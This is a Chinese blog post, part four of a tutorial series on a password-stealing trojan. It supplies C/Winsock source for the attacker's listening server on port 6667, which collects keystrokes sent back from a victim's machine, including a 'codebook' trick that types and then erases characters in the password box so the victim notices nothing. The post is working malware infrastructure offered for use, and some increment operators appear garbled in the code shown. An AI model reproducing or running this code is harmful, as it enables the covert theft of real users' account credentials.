木马盗号《四》

2021-04-02 11:59:31 浏览数 (1)

目标:

实现服务端的代码编写,用于接受木马发回的消息。

实现:

由于这一篇实现任务比较简单,我就讲一下密码的消息接收,账号类似。由于密码一开始我们需要接受密码本,所以我们需要区分一下发来的是密码本还是未翻译的密码。由于为了方便我们只模拟10个数字,所以一共20个字符(加上对应的BackSpace,因为不想让用户看出为何密码框平白无故多出10字符,所以我们需要删除)。之后就是简单的字符接收就OK了O(∩_∩)O

代码如下:

代码语言:javascript复制
#define WIN32_LEAN_AND_MEAN
#include<windows.h>
#include<Winsock2.h>
#include<stdio.h>
#pragma comment(lib,"Ws2_32.lib")
//用于消息定位输出
void gotoxy(int x, int y) {
 COORD pos = { x,y };
 HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);// 获取标准输出设备句柄
 SetConsoleCursorPosition(hOut, pos);//两个参数分别是指定哪个窗体,具体位置
}
void main() {
 WSADATA wsaData;
 int state = 0;
 if (WSAStartup(MAKEWORD(2, 2), &wsaData)) {
 printf("套接字初始化失败!n");
 }
 SOCKET serviceSocket = socket(AF_INET, SOCK_STREAM, 0);
 if (serviceSocket == INVALID_SOCKET) {
 printf("创建套接字失败!n");
 }
 SOCKADDR_IN socketAddService;
 socketAddService.sin_family = AF_INET;
 socketAddService.sin_port = htons(6667);
 socketAddService.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
 state = bind(serviceSocket, (LPSOCKADDR)&socketAddService, sizeof(SOCKADDR_IN));
 if (state == SOCKET_ERROR) {
 printf("账号绑定失败!n");
 }
 state = listen(serviceSocket, 1);
 if (state == SOCKET_ERROR) {
 printf("开启监听失败!n");
 }
 SOCKADDR_IN socketAddClient;
 int iSocketLen = sizeof(SOCKADDR_IN);
 char cBuffer[40] = {0};
 int index = 0;
 printf("监听密码中..........n");
 printf("密码翻译本:");
 int num = 0;
 while (1)
 {
 SOCKET clientSocket = accept(serviceSocket, (LPSOCKADDR)&socketAddClient, &iSocketLen);
 int iRec = recv(clientSocket, &cBuffer[index], 1, 0);//接受数据
 if (num < 20) {//20是因为10个字符和10和Backspace
 if ((int)cBuffer[index] == 8&&index>0) {//不接受BackSpace
 cBuffer[index] = 0;
 }
 else
 {
 index  ;
 }
 gotoxy(11, 1);
 printf("%s", cBuffer);//输出密码本
 if (num == 19) {
 printf("n未翻译密码:");
 index = 0;
 memset(cBuffer, 0, 40);
 }
 }
 else
 {
 if ((int)cBuffer[index] == 8&&index>0) {//接受未翻译密码
 index--;
 cBuffer[index] = 0;
 }
 else
 {
 index  ;
 }
 gotoxy(11, 2);
 printf("%s", cBuffer);
 }
 num  ;
 if (iRec == 0||iRec==SOCKET_ERROR) {
 printf("断开连接n");
 break;
 }
 }
 closesocket(serviceSocket);
 WSACleanup();
 system("pause");
}

本篇结语:

本篇很简单,没什么要讲的。

THE END

0 人点赞